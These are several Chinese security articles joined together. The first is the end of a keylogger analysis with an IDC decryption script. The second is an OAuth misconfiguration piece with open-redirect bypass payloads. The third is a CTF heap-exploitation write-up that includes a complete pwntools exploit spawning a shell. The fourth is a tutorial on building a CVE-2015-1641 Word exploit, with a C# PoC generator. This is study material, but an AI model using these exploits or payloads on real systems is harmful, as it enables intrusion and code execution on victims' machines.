Pro免费版中没有IDAPython，所以我将继续使用IDC。到目前为止，我们知道解密部分都包含在一个循环中，该循环使用一个特定的密钥序列和一个确定的数据序列来循环预先确定的次数。此外，用于div操作的值也作为参数传递。因此，函数需要3个参数:base_data、div和loop，同时还需要6个变量:index、x1、x2、data、i和base_xor。index将包含模运算的结果,x1将包含数据加密文本的一个字节,x2包含密钥中一个字节的数据,data将包含XOR运算的结果,i是计数器，base_xor将存储密钥序列的地址。要存储地址，只需在该地址的开头添加0x。脚本的其余部分将包含必要的增量和XOR运算的数据。
static decrypt_data(base_data, div, loop) {
auto index, x1, x2, data, i, base_xor;
base_xor = 0x18000F010;
for (i = 0; i < loop; i++) {
index = div % 100; // Get value from div % 100
x1 = Byte(base_data); // Get byte from encrypted data
x2 = Byte(base_xor + index); // Get XOR key using value from div / 100
data = x1 ^ x2; // XOR data
PatchByte(base_data, data); // Replace enc. byte with dec. byte
base_data = base_data + 1; // Increment Encrypted Data
div = div + 1; // Increment Divider
}
}
将此脚本“安装”到IDA中，点击File -> Script
Command，然后将其粘贴到对话框中。要调用该函数，只需在底部的命令行输入decrypt_data(0x18000F2F0, 71,
606)来解密数据的第一部分，如下图所示。
选择所有的数据，按下’A’，使其排列成更清晰的数据，由于每2个字节遇到一个0，所以需要删除它们。
去掉多个0后，我们得到:
<#RShift> <#LShift> <#RCtrl> <#LCtrl> <!RShift> <!LShift> <!RCtrl> <!LCtrl> - + [] ; / ` ' , . <PageUp> <PageDown> <NumLock> <r/> <r*> <r-> <r+> <r1> <r2> <r3> <r4> <r5> <r6> <r7> <r8> <r9> <r0> <r.> <F1> <F2> <F3> <F4> <F5> <F6> <F7> <F8> <F9> <F10> <F11> <F12> <Down> <Up> <Right> <Left> <Del> <Print> <End> <Insert> <CapsLock> <Enter> <Backspace> <Esc> <Tab>
当我们按下某些键(如左Shift和NumLock)时，可以假设这些数据用于记录击键，而不是常规字符。为了再次检查解密工作，我们可以在调试器中运行它并检查输出。现在我们已经成功解密了第一部分，还可以对剩下的加密的19个部分的每一部分都进行相同的解密。如果你想查看每个解密的字符串，可以在这里查看它们([https://pastebin.com/DrGVU417)。](https://pastebin.com/DrGVU417\)%E3%80%82)
其中一个特别有趣的字符串是msimm.dat，因为它可能是日志文件。除了msimm之外，其中一个字符串似乎指出了上述keylogger的版本，以及它可能的名称:KSL0T
Ver = 21.0，除此之外，我还没发现任何与KSL0T 组织相关的有意义的内容。
## 小结
由于本样本含有大量的解密和函数需要分析，尤其是静态分析，因此我将这篇文章分成两个部分。我主要专注于静态分析的演示,教人们在没有完整版IDA
Pro的情况下，通过静态分析方法处理更多的问题,以及如何使用IDC自动化解决耗时任务。在下一部分中，我将解密更多的内容，然后分析出keylogging的循环。
## IOC(MD5)
Keylogger: 59b57bdabee2ce1fb566de51dd92ec94 | 社区文章 |
**前言：**
老洞新谈，重复造属于自己的轮子
**目录：**
0x01：什么是OAuth2.0协议
0x02：配置不当所造成的危害
0x03：如何正确配置
**什么是OAuth2.0协议**
在OAuth协议还没有产生之前，如何我们想要登录一个网站，而这个网站又支持第三方登录，例如QQ登录。那么我们就只能在这个网站上输入QQ账号和密码，这个网站同时也就知道了我们的账号和密码，这势必会产生一些安全问题，而OAuth协议就是为了解决这些安全问题而产生的，Oauth2.0是Oauth协议的升级版。总的来说，OAuth2.0就是客户端和认证服务器之间由于相互不信任而产生的一个授权协议。
本篇文章不过多说OAuth协议的原理等，贴个原理地址，[Oauth原理](https://www.cnblogs.com/flashsun/p/7424071.html
"Oauth原理")。
协议四种模式：
授权码模式（authorization code）
简化模式（implicit）
密码模式（resource owner password credentials）
客户端模式（client credentials）
安全性我们主要关注四个参数。
redirect_url:回调域名
client:必须与域名绑定
state:防止CSRF
scope:权限范围
**配置不当所产生的危害**
* CSRF
漏洞产生原因在于State参数未添加或者未起作用。
复现步骤：
1：第三方网站请求登录客户端。
2：输入QQ账号密码。302跳转，https://XXX.com/back/qq? code=35072F11AEE413B87553B32F6168B5DA&state=TCHmIyWrvP。
3：删去state参数，把请求发给受害者。
4：受害者点击后，登录我的账号。
* Scope越权
例如URL里的原本参数是这样的。Scope:read。我截取这个请求然后修改一下为Scope:write。如果我们可以修改文件，就说把原本可读的权限越权修改成了可写的权限。
* Redirect参数未严格限制
这里以QQ的OAuth2.0接口为例，假如地址是这样的：[https://graph.qq.com/oauth2.0/show?client_id=10086&redirect_uri=https://XXX/back/qq&state=TCHmIyWrvP](https://graph.qq.com/oauth2.0/show?client_id=10086&redirect_uri=https://XXX/back/qq&state=TCHmIyWrvP)
当我们登录成功后，会把code和state拼接到redirect_uri之后，如果这个redirect_uri可以是任何值，那么我们的code是不是就遭到了泄露？但是这里的client_id就破灭了你的这个想法，服务器会验证client_id是否和redirect_uri规定的域一致，如果不一致则无法登陆。这里就又有了个新的攻击手法，如何在redirect_uri规定的域中有一个open
redirect，我们就可以从referer中看到token,达到一样的攻击效果。
下面来一点Open Redirect Bypass:
///www.bywalks.com/%2f%2e%2e
///www.bywalks.com/%2f%2e%2e/
/https:/%5cbywalks.com/
//www.bywalks.com/%2f%2e%2e
//www.bywalks.com
/www.bywalks.com
https://www.google.com/www.bywalks.com
/%2Fbywalks%252Ecom
http://www.google.com\.bywalks.com
http://www.google.com\@bywalks.com
http://www.google.com\#bywalks.com
http://www.google.com\?bywalks.com
http://www.google.com\\bywalks.com
http://www.google.com\bywalks.com
**如何修复**
1：做好Scope的权限验证。
2：state参数一次验证后失效。
3：redirect_uri严格控制。
个人博客：www.bywalks.com | 社区文章 |
# 安恒月赛mycard exp编写及详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
程序源文件:
链接：<https://pan.baidu.com/s/13HavhR0UVg0c9SYfZzAX5g>
提取码：t8rt
昨天做了这道题没做出来,看了wp却只有思路没有exp,于是自己又捣鼓了一天写出了详细的程序分析和exp编写,适合新手一起学习.建议边调试边阅读.
## 1.值得学习的地方:
程序canary,nx,pie,aslr全开,所以要绕过特定保护
如何泄露地址.
如何利用realloc.
逆向分析链表结构.
## 2.程序分析
canary,nx,pie,aslr保护开启
3个功能.create,edit, delete
create分析:
首先向栈中输入name,这里没有栈溢出,再输入描述(desc表示)的长度(desc_len),该处也没有栈溢出.通过strtol将desc_len字符串转为数字作为malloc的参数,进行分配desc的内存.
大小不能大于1024字节,然后输入desc.
继续分配一个结构体,如下:
struct moon{
char name[0x40];
dword desc_len;
char desc[desc_len];
};
该结构也是通过malloc分配的.然后将name通过strncpy复制到moon中,写入desc_len,
再通过memcpy复制desc到其中. 这里检查严格,都没有堆溢出.
由于desc已经复制到moon中了,所以将之前分配的desc释放掉.
继续分配一个结构体如下:
strcut node
{
struct moon p;
strcut node pre;//程序使用了双链表结构,这个指向前一个节点,如果是第一个则指向自己
strcut node* next;///程序使用了双链表结构,这个指向下一个节点
}
将p指向新分配的moon后,插入到链表头ptr,该全局变量位于.bss节上.
插入方式是再双链表末尾插入.
里面构建这样一个链表结构:
help:
该函数遍历双链表,将已有的moon的name和desc通过write输出,而且这里的write输出长度固定,如下图,所以可以用于泄露libc基址.最后记录链表node个数并返回.
edit:
首先通过help得到node个数,如果为空,直接返回.再继续输入id号,当id号非法则相当于只show而不edit了,再输入name,将其写入到目标结构的name成员.再输入长度,转为数字,判断数字是否比原来的desc大,如果没有则用新输入的desc覆盖写入,否则通过realloc重新分配堆内存再写入desc成员中.
关键点如下:
这个判断有问题,导致0x44字节的堆溢出. 由此可知如果通过堆溢出修改到一个node节点的p指针,然后再次edit它,不就能实现任意地址写任意数据了.
此外细心点发现,realloc分配的内存竟然只将最低1字节写入了该结构.所以构造时要小心.
delete分析:
首先还是通过help得到链表节点数,如果为0直接退出.然后输入id.由于create时,第一个node的pre指针指向自己,所以程序通过判断是否id为1,当id=1和>1是不同的处理逻辑.
但最终还是正常地摘下某个节点,使链表仍然保持双链表结构.摘下节点后,先释放节点的p指向的结构的内存,然后释放节点内存.
## 3.漏洞利用分析
首先是地址泄露.从上面的分析可知,当创建一个moon后再释放,代码及堆结构如下:
create('asdf',0xc+0x40,'desc')#这里使为了使moon内存分配的大小为0x90(0x4c+0x4+0x40),释放后在unsorted bin中.这里0x90+head的0x10字节就是0xa了.
delete(1)
gef➤ heap chunks
Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)这个是释放后的desc
[0x0000555debb46010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE)这里是释放后的moon结构
[0x0000555debb46070 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...]
Chunk(addr=0x555debb46110, size=0x20, flags=)这里是释放后的node结构
[0x0000555debb46110 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..]
Chunk(addr=0x555debb46130, size=0x20ee0, flags=PREV_INUSE) ← top chunk
────────────────────────── Fastbins for arena 0x7f4b2f924b20 ──────────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46110, size=0x20, flags=)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────
[+] unsorted_bins[0]: fw=0x555debb46060, bk=0x555debb46060
→ Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
再申请内存,并输出:
create('name',0x90,'qwer')#让desc分配为上次释放的内存,这样后8字节指向main_arena中了,通过write输出即可泄露libc基址.
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('Description :qwer')
heap_addr = p.recvuntil('>') #由于将desc复制到moon结构中,通过edit将信息泄露
p.sendline(str(123))#输入非法id,使只输出信息,不进行edit,就返回.
heap_addr = heap_addr[4:12]
heap_addr = u64(heap_addr)
print 'heap_addr: ',hex(heap_addr)
libc_base = heap_addr-0x3c4b78
print 'libc base:', hex(libc_base)
[1] Name :name
Description :qwer
heap_addr: 0x7f4b2f924b78
libc base: 0x7f4b2f560000
由此已经得到libc基址
再思考如何利用edit实现任意地址写任意数据.如果能够构造当前realloc之后的moon堆块的下一个堆块是某个node所在的内存,那就可以通过修改下一个node的p指针为
**realloc_hook的地址,然后edit这个node,使用name写入system到**
realloc_hook,再通过调用realloc而转入调用__realloc_hook劫持程序.
create('second', 0xa0,'asdf')
create('third', 0xc,'asdf')
create('fourth',0x50,'asdf')
delete(2)
此时堆块情况如下:
gef➤ heap chunks
Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)第3个的moon
[0x0000555debb46010 74 68 69 72 64 00 00 00 00 00 00 00 00 00 00 00 third...........]
Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE)第2个的node,已free,在fastbin
[0x0000555debb46070 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..]
Chunk(addr=0x555debb46090, size=0x20, flags=PREV_INUSE)第3个的node
[0x0000555debb46090 10 60 b4 eb 5d 55 00 00 78 60 b4 eb 5d 55 00 00 .`..]U..x`..]U..]
Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE)已free,在fastbin
[0x0000555debb460b0 00 00 00 00 00 00 00 00 78 4b 92 2f 4b 7f 00 00 ........xK./K...]
Chunk(addr=0x555debb46110, size=0x20, flags=PREV_INUSE)第1个的node
[0x0000555debb46110 30 61 b4 eb 5d 55 00 00 10 61 b4 eb 5d 55 00 00 0a..]U...a..]U..]
Chunk(addr=0x555debb46130, size=0xe0, flags=PREV_INUSE)第1个的moon
[0x0000555debb46130 6e 61 6d 65 00 00 00 00 00 00 00 00 00 00 00 00 name............]
Chunk(addr=0x555debb46210, size=0xb0, flags=PREV_INUSE)第4个的moon
[0x0000555debb46210 66 6f 75 72 74 68 00 00 00 00 00 00 00 00 00 00 fourth..........]
Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE)第2个的moon,已free,在unsorted bin
[0x0000555debb462c0 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...]
Chunk(addr=0x555debb463b0, size=0x20, flags=)第4个的node
[0x0000555debb463b0 10 62 b4 eb 5d 55 00 00 90 60 b4 eb 5d 55 00 00 .b..]U...`..]U..]
Chunk(addr=0x555debb463d0, size=0x20c40, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────── Fastbins for arena 0x7f4b2f924b20 ──────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555debb462b0, bk=0x555debb462b0
→ Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
从这里可以发现,再次edit 节点2的时候(此时edit的是原来的第3个,因为第2个被delete掉了,后面的往前减1). 可以通过1字节的realloc地址再低位写入c0,即:0x555debb46010-->0x555debb460c0而第1个的node地址为0x555debb46110.只相差0x50字节,通过edit就可以将第1个node的p指针写入__realloc_hook地址.
getshell:
payload = 'a'*(0xc)#从0x555debb460c0+0x44开始写,故填充0xc个'a'就能到下一个
node了
payload += p64(malloc_hook_addr)#修改第1个node为__realloc_hook地址
edit(2,'asdf',0xa0,payload)
edit(1,p64(one_gadget),0x20,'asdf')#修改__realloc_hook为system地址
edit(2,'/bin/shx00',0x300,'asdf')#getshell!!.
.........
Len?
Description :
[*] Switching to interactive mode
/bin/sh: 1: asdf: not found
whoami
root
## 4.总结
通过修改hook绕过pie,alsr等保护
通过write和unsorted bin泄露libc
通过realloc和堆自身的分配机制和堆溢出实现修改任意内存.
本题的堆分配及释放较复杂, 需要逆向分析链表结构, 所以通过一边分析一边调试还是对新手很有收获的.
## 5.附上完整exp:
from pwn import *
p = process('./mycard')
libc = ELF('./libc.so.6')
elf = ELF('./mycard')
def create(name,desc_len,desc):
print p.recvuntil('4:exitn')
p.sendline('1')
print p.recvuntil('Name:')
p.sendline(name)
print p.recvuntil('Len:')
p.sendline(str(desc_len))
print p.recvuntil('Description:')
p.sendline(desc)
return
def delete(no):
print p.recvuntil('4:exitn')
p.sendline('2')
print p.recvuntil('>')
p.sendline(str(no))
return
def edit(no, name, desc_len, desc):
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('>')
p.sendline(str(no))
print p.recvuntil('New name?')
p.sendline(name)
print p.recvuntil('Len?')
p.sendline(str(desc_len))
print p.recvuntil('Description :')
p.sendline(desc)
return
create('asdf',0xc+0x40,'desc')
#gdb.attach(p)
delete(1)
create('name',0x90,'qwer')
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('Description :qwer')
heap_addr = p.recvuntil('>')
p.sendline(str(123))
heap_addr = heap_addr[4:12]
heap_addr = u64(heap_addr)
print 'heap_addr: ',hex(heap_addr)
libc_base = heap_addr-0x3c4b78
print 'libc base:', hex(libc_base)
malloc_hook_addr = libc_base+libc.sym['__realloc_hook']
one_gadget = libc_base+libc.sym['system']
create('second', 0xa0,'asdf')
create('third', 0xc,'asdf')
create('fourth',0x50,'asdf')
delete(2)
payload = 'a'*(0xc)
payload += p64(malloc_hook_addr)
edit(2,'asdf',0xa0,payload)
edit(1,p64(one_gadget),0x20,'asdf')
edit(2,'/bin/shx00',0x300,'asdf')
p.interactive() | 社区文章 |
# 【技术分享】手把手教你如何构造office漏洞EXP（第四期）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**稿费：700RMB（不服你也来投稿啊！）** ****
****投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿****
**传送门**
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第三期）**
****](http://bobao.360.cn/learning/detail/3049.html)
**
**
**前言**
这一期的漏洞分享给大家带来的是CVE-2015-1641的学习总结，这个漏洞因其较好的通用性和稳定性号称有取代CVE-2012-0158的趋势。该漏洞是个类型混淆类漏洞，通过它可以实现任意地址写内存数据，然后根据漏洞的特点，再结合一些典型的利用手法可以达到任意代码执行。
**漏洞原理**
这个漏洞的常见样本是rtf文档格式的文件，这点和下文的漏洞利用有关，主要原因是rtf方便构造利用组件（当然这并不绝对）。然而，漏洞的原理其实和rtf文档格式无关，而是与office的open
xml文档格式的实现有关。这种文档格式常见的word文档拓展名就是docx，实际上是一个使用open
xml组织文档内部资源后的zip压缩包。实际上，该漏洞的rtf样本中，一般包含3个docx格式的文件组件，其中第2个文件用作触发漏洞组件，其他用作exp组件（依然并不绝对）。
上面3个zip包就是从rtf文件sample里提取出来的，至于如何提取这里简单说一下，word文档里有个插入对象的功能，可以插入另外的word文档文件，这个样本就是插入了3个docx文档进去然后主文档保存为rtf文档格式，此时这3个插入的docx文件对象在主文件中是一段16进制数据，对应3个文件的16进制编码，所以可以通过一个正则表达式使用Notepad++之类编辑器从主文件中提取16进制编码：“\objdata
[0-9a-frn]+”，然后再借助一些十六进制编辑器如010edit保存为如上的3个docx/zip文件。之后就可以开始分析漏洞原理了，先将第二个目标文件去掉zip后缀使用office打开，此时word程序会直接崩溃，并且在调试器里可以看到崩溃点是一个赋值语句且ecx为一个稳定的内存地址值，其指向的范围是漏洞利用使用到的一个为了绕过aslr的模块msvcr71.dll：
然后从文件角度来看，加上zip后缀解压如下：
其中，word目录下的document.xml为组织文档资源的首要文件，一般文档的文本内容也在里面，而从这个文件里我们就能找到触发这个漏洞的主要内容：
可以看出调试器里出现的崩溃点ecx值被直接unicode编码在了smartTag标签的element属性值里头了，并且条件满足的情况下（msvcr71模块事先已加载），后续将会进行内存拷贝，且拷贝的目标地址为根据ecx计算出来的一个值，而拷贝的数据为0xffffe696（即子标签moveFromRange*的ID值4294960790）：
从而，通过文件里那样构造的内容，主要控制两个变量值便可简单实现任意内存地址写数据的功能。当然，我们也比较关心的一个重点是，这段构造内容的原理是什么？可以看到这段内容是一组open
xml闭合标签，最外层是smartTag标签，最里层是moveFromRange*标签。分别查阅msdn文档的相关信息，可以了解到这些标签的详细说明，这里关注到moveFromRange*标签的displaceByCustomXml属性说明：
从上图可以看出，该属性指定被替换的一个custom
xml标签元素，换句话理解就是说moveFromRange*标签的该属性指定了其上级标签的一个customXml对象要被替换。然而，从样本内容上我们并没有看到customXml标签，仔细观察了一下customXml标签和smartTag标签的相关说明后才发现，这两个标签元素不仅功能作用具有一定的相似性，其内部属性的结构也比较有意思地保持一致：
可以想象这对同一模板出来的双胞胎标签，被他的缔造者微软分配到了不同的岗位，以至于有时候微软自己都没认清他们谁是谁。实际上，类型混淆漏洞正是由此而发，上文看到的调试器崩溃位置，便是word程序解析到moveFromRange*标签时，准备将其内部id移送到其上级元素smartTag（/customXml）的对象“空间”里头。通过回溯跟踪这一过程并进行对比，如果是正常情况下（上级标签为customXml），移送前会进行一次内存分配再将其拷贝至新的内存空间；而如果是混淆的情况下，由于两者对象本质的差异性，此时直接将id值移送到smartTag对象已有的内部空间里，以下为两种情况的代码跟踪序列对比图：
由于两种标签的内部属性成员具备一定的相似性导致可以类型混淆，语法上通过了内部检查，但是实际解析过程中，对象的内部缺乏严格的校验，导致混淆成smartTag对象后，解析moveFromRange*标签时认为接替需要的内存空间已存在，就直接使用错误的位置进行拷贝过程，造成了这个可被利用的安全性漏洞。
**构造触发漏洞的POC**
根据上述原理，漏洞发生的场景是word程序在解析内部自定义xml（customXml）标签存在替换标记的情况下，原本moveFromRange*标签是要将标记id传递给上级customXml对象，然而由于customXml和其兄弟标签smartTag存在一定的相似性，导致在customXml标签被替换成smartTag的时候发生类型混淆，造成内存拷贝漏洞。下面介绍如何构造触发这个漏洞的POC样本，首先我们明确一点，为了实现任意内存地址写，我们需要控制的两个变量分别是混淆后smartTag标签的element属性值和moveFromRange*标签的id值，它们分别控制了将要覆写的内存地址和内存数据，逆向跟踪一下上述的崩溃点函数：
该函数原本在解析moveFromRange*标签时被调用，此时类型混淆后ppObj指向smartTag的element成员的内存，进一步跟踪内部copy_func函数：
可见内部对ppObj指向的内存对象进行了一次检查（必要条件），然后就计算要拷贝的真正目标地址，最后才调用call_memcpy进行拷贝，整个拷贝过程可简化成以下公式：
根据此公式，我们只需要事先准备一块编排计算好目标地址的16字节内存，并将其起始地址pObj编码给smartTag的element，便能实现任意地址写内存的功能。这里，为了方便，直接将pObj赋一个不存在的内存地址，如0x0c0c0c0c，这样就会因为内存读取异常而像上面一样崩溃在同一个位置，只不过ecx的值将为0x0c0c0c0c:
static void Main(string[] args)
{
string fileName = @"poc.docx";
if (File.Exists(fileName) == true)
{
File.Delete(fileName);
}
using (WordprocessingDocument myDocument =
WordprocessingDocument.Create(fileName, WordprocessingDocumentType.Document))
{
//创建文档并插入一行文字
MainDocumentPart mainPart = myDocument.AddMainDocumentPart();
mainPart.Document = new Document();
Body body = mainPart.Document.AppendChild(new Body());
Paragraph para = body.AppendChild(new Paragraph());
Run run = para.AppendChild(new Run());
run.AppendChild(new Text("Hello, World!"));
//插入混淆对象
//CustomXmlRun cxr = body.AppendChild(new CustomXmlRun()); //正常对象
SmartTagRun cxr = body.AppendChild(new SmartTagRun()); //混淆对象
cxr.Uri = "urn:schemas:contacts";
cxr.Element = "u0c0cu0c0c"; //calc_dst:0x0c0c0c0c
//混淆的子对象
PermStart ps = new PermStart();
PermEnd pe = new PermEnd();
MoveFromRangeStart mfrs = new MoveFromRangeStart();
MoveFromRangeEnd mfre = new MoveFromRangeEnd();
ps.Id = 1;
//ps.EditorGroup = RangePermissionEditingGroupValues.Everyone;
pe.Id = 1;
mfrs.Id = "134744072"; //*src:0x08080808
mfrs.Name = "abc";
//mfrs.DisplacedByCustomXml = DisplacedByCustomXmlValues.Next;
mfre.Id = "134744072";
mfre.DisplacedByCustomXml = DisplacedByCustomXmlValues.Previous;
//插入混淆的子对象触发漏洞例程
cxr.Append(ps);
cxr.Append(mfrs);
cxr.Append(mfre); //触发混淆漏洞
//cxr.Append(pe);
/*最终成功混淆的xml如下，若实验时替换成正常对象标签CustomXml后提示xml错误，需手工自制包含正常SmartTag标签后再进行替换实验
* <w:smartTag w:uri="urn:schemas:contacts" w:element="ఌఌ">
* <w:permStart w:id="1" />
* <w:moveFromRangeStart w:name="abc" w:id="1" />
* <w:moveFromRangeEnd w:displacedByCustomXml="prev" w:id="1" />
* </w:smartTag>
*/
}
}
上面是本人使用微软提供的open xml
sdk编写的C#测试代码，简单配置好环境后就可以运行程序对生成的poc.docx进行实验测试了，直接打开后崩溃图如下。从该文档提取document.xml便能找到以上代码最后注释部分所列的xml内容，发现此时element的值是直接unicode编码显示，和一开始调试样本所使用的编码形式(뵐簸)有所区别，虽然最终同样在内存里遵从unicode编码方式，但是利用这种编码方式却具有一定抗检测优势，比如说它能绕过阿里安全在[freebuf](http://www.freebuf.com/vuls/81868.html)发表此漏洞分析最后贴的yara检测规则。最后再提一点说明，就是我们可以重复生成多个类似上面的xml用于实现多个任意内存地址写，然后将它们嵌入到一些正常的文档的document.xml中重新打包，从而为后面的漏洞利用做准备。
**
**
**漏洞利用**
现在，有了一个可以随意写word进程内存的漏洞，就可以进入漏洞利用的环节了，下面主要分析上文一开始所举样本的利用手法。样本的利用过程主要分为：1——加载msvcr71.dll，2——堆喷射布局shellcode，3——利用本漏洞修改msvcr71.dll的对象指针和参数劫持eip，4——执行payload。
**1、加载msvcr71.dll**
由于本漏洞最终实现的主要功能是任意地址写内存，而我们的目标是先要劫持程序eip，故需要借助一些稳定可利用的对象来进行操作。本例样本所选择的目标msvcr71.dll，借助其稳定的内存地址（编译时没有开启aslr保护）及可利用的对象指针来达到劫持程序的目的。所以这第一步需要先加载msvcr71.dll，针对此目标，样本所使用的方法是内嵌一个ole对象otkloadr.WRAssembly，这个对象被解析时会调用OTKLOADR.DLL，而该模块加载时导入了msvcr71.dll模块。不过要内嵌这个ole对象可能需要一些周折，先看一下本例的方法：
将以上内容直接嵌入rtf之中即可成功引入msvcr71.dll模块，原理是通过ProgID引入otkloadr模块，具体详情可以参考[出处](http://www.greyhathacker.net/?p=770)。ProgID可以理解为CLSID的别名，对应于一个在系统注册的COM组件，如otkloadr.WRAssembly.1对应的是CLSID为{A08A033D-1A75-4AB6-A166-EAD02F547959}的COM组件，其加载模块路径在注册表如下：
当然，通过CLSID也是可以引入所需模块的，具体的方法可以通过修改docx文档中ActiveX.xml里面的CLSID实现加载需要的功能，这里暂不展开讨论。
**2、堆喷射**
这一步实际上也可以放在开始，作用就是内存布局shellcode，以便劫持eip后能够顺利执行任意代码。当然，执行堆喷射是比较耗资源效果不是很理想的一种方式，个人觉得应该有更好的利用方式，比如借助本漏洞任意内存写的功能找一块稳定的内存构造shellcode，不过可能会比较麻烦，这里只作提个思路。上文介绍到，样本嵌入了3个docx文档，其中第一个和第三个文档功能类似，都是利用ActiveX作的堆喷射，方法和本人在分享[cve-2013-3906](http://bobao.360.cn/learning/detail/3009.html)时演示的差不多，都是使用的40个ActiveX控件，区别是该样本去掉了其他39个bin文件，让40个ActiveX控件共用第一个bin文件：
这样处理的好处显而易见，不仅减少了空间，嵌入shellcode也更方便一些，不过结果一样就是了，最终都是将shellcode布置到精确的内存地址上：
**3、劫持eip**
前面两步算是准备工作完成后，就可以利用本文漏洞来进行程序劫持了。从样本上看，文档里主要包含4个smartTag标签，分别对应四次内存拷贝操作（实际上可能多于四次，这和系统环境有关，样本包含兼容性处理，这里不展开叙述）。而4次操作又可以分为两两部分，每两次拷贝实现一个目标地址改写，也就是说4个标签主要是为了改写msvcr71.dll的两个地址。这里之所以需要4次的原因是样本使用msvcr71.dll本身的内存去构造需要计算的目标拷贝地址，所以每两个标签的第一个标签都是为了第二个标签构造真正的目标地址做准备：
如上是前两个标签构造的拷贝过程，使用msvcr71本身的内存来构造要覆写的对象指针地址。实际上，最终4个标签的作用是覆写msvcr71.dll的“.data”数据区段里的某对象的两个dword值，其中第一个为指向FlsGetValue调用的函数地址，第二个是该函数调用的参数值。可以想到，一旦这两个值被修改成ROP相关的地址值，后面调度线程时，程序流程可以被成功劫持：
**4、执行payload**
至此，劫持了程序eip，后续shellcode代码也精确布置到了指定内存位置，剩下的也就是通过ROP分配可执行内存，然后解密加载payload了。这里ROP链就不提供了，简单提一下shellcode的流程：遍历当前进程打开的文件句柄，通过判断文件大小的范围找到该rtf格式攻击文档；从文档尾部提取加载payload的shellcode解密执行，该shellcode依然从文档尾部继续解密一个pe程序到一个目录中执行起来并释放打开一个迷惑性的文档，从而完成内嵌pe执行的功能。
**总结**
本漏洞值得学习的地方还是有不少的。首先，从漏洞原理出发，需要理解open
xml对象类型混淆的内因与外因，通过sdk编程和poc调试，有助于我们了解word程序解析文档的内部执行流程。该漏洞的根本原因是word程序在处理customXml对象相关的标签时没有严格检查对象的类型，导致它可以被近亲smartTag对象冒名顶替。接着，通过这个漏洞可以构造混淆对象的处理过程，重复的进行对象相关属性的内存拷贝，实现任意内存地址覆写的功能，这个过程需要深入地分析对象内部的处理流程，才能准确的计算出如何构造所需的数据。然后有了这个强大的任意内存地址覆写功能，就可以结合各种利用姿势来接管word程序的执行。比如需要绕过aslr，就得想办法加载没有开启该保护的模块，如可以通过嵌入一个ListView控件来加载MSCOMCTL.OCX，而该模块可以利用的对象也有一些，虽然可能使用条件有一些限制，但如果能够互相配合好，相信会收到意想不到的惊喜。最后提一个经常遇到的难点，就是在漏洞利用过程中为了能尽量的“通用化”，经常需要调整一些量值，可能不同平台有所差异，这种情况经常比较吃力不讨好，所以最好是能够变换一下思路，至于如何变换，我也只是有点思路，就是往高级的方向去思考……剩下的就靠大家多多贡献了！
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第三期）**
****](http://bobao.360.cn/learning/detail/3049.html) | 社区文章 |
## 题目信息
It was said to be hidden somewhere deep in the Grand Line, someone in the second part of Grand Line can capture it,
